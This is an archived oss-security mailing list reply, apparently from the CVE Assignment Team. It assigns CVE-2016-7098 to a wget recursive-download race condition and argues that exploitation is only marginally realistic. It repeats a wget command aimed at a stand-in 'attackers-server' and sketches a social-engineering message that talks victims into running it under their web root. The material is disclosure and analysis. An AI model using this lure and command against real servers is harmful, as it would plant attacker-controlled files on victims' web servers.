Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Sat, 27 Aug 2016 15:08:07 -0400 (EDT)
Subject: Re: CVE Request - Gnu Wget 1.17 - Design Error Vulnerability

Hash: SHA256

> Wget Race Condition Recursive Download Accesslist Race Condition Vulnerability

Our perspective is that this is a very marginal issue for CVE
inclusion. Exploitation requires the victim to specify a potentially
dangerous file on the command line, and to enter this command line
while the current working directory is served by a web server. Also,
the observed behavior isn't directly inconsistent with the
documentation. However, the vendor apparently recognizes some security
risk and has decided to publish a patch described in the post.

Use CVE-2016-7098.

> wget -r -nH -A '*.jpg' http://attackers-server/test.php

Maybe a marginally realistic exploitation scenario is for the
attacker to convey this message to potential victims:

  I wrote a blog post about my summer vacation at
  http://attackers-server/vacation.php - this has links to dozens
  of photos that are .jpg files. If you have a slideshow application
  on your own server and just want to look at my photos, a simple
  method is to cd to your DocumentRoot directory, then cd to your
  slideshow directory underneath that, and then type this command:

     wget -r -nH -A '*.jpg' http://attackers-server/vacation.php

This is only marginally realistic for the following reasons:

  - It seems very odd to set one's working directory to a place
    underneath DocumentRoot, and then run wget with an untrusted .php
    URL on the command line - especially because the wget
    documentation is ambiguous (see below).

  - People don't ordinary ask their web-site visitors to create their
    own alternative content views (e.g., slideshows) on the visitors'
    web servers.

  - People don't ordinarily expect their web-site visitors to feel
    comfortable with wget commands. If they wanted to share a .jpg
    collection, they would probably create a .zip of it.

  - Although wget of an untrusted .php file with "-A '*.jpg'" might be
    somewhat common, it is probably not common for this to occur
    with a working directory under DocumentRoot. It seems to require
    an obscure use case in which the victim wants to mirror the .jpg
    files, but is willing to expend extra effort to host a unique web
    presentation of those .jpg files, just because mirroring the
    complete original presentation might be unsafe.

> the victim server's security is impacted since the
> developer/administrator was never warned explicitly that 'rejected
> files' can have a transient life on the victim server

The documentation only says "Specify comma-separated lists of file
name suffixes or patterns to accept or reject" during the recursive
retrieving. It does not discuss what happens to the filename that was
explicitly entered on the command line (stored forever, stored
temporarily, or never stored). It seems that, in many cases, a user
would prefer that file to be stored forever, so that they don't have
to create their own unique presentation. For example,

   wget -r -nH -A '*.jpg' http://attackers-server/vacation.html

can easily be interpreted to mean "I want to mirror the top-level
presentation file vacation.html, and I also want to mirror every .jpg
file that it references. I don't want a huge download time, so I've
decided to accept only the .jpg files, and not the .mp3 files of
birdsongs heard during the vacation, .mp4 movies of the birds, etc."
Probably wget has never supported that, but still it might be the
expected behavior.


Also, we're not sure how the 'asprintf (&tmp, "%s.tmp",
hs->local_file);' is supposed to interact with --
file.php.tmp is not necessarily a safe naming convention.

Finally, the patch does not address all possible security risks. For
example, if the victim's working directory is under DocumentRoot and
the victim is logged into the account used by the web server, then
there is still a possibility of malicious content from a

  wget -r -nH -A '*.jpg' http://attackers-server/vacation.html

command (e.g., malicious JavaScript). There is no CVE ID for that.


> We addressed this issue in wget2 - files just needed for parsing are kept in 
> memory and never appear in the file system.

Again, interpreting "-A '*.jpg' http://attackers-server/vacation.html"
to mean no mirroring of vacation.html is a potential usability
problem. Ideally, there might be separate options for the different
use cases, e.g., something like




(but preferably with shorter option names!).

- -- 
CVE Assignment Team
M/S M300, 202 Burlington Road, Bedford, MA 01730 USA
[ A PGP key is available for encrypted communications at ]
Version: GnuPG v1


Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ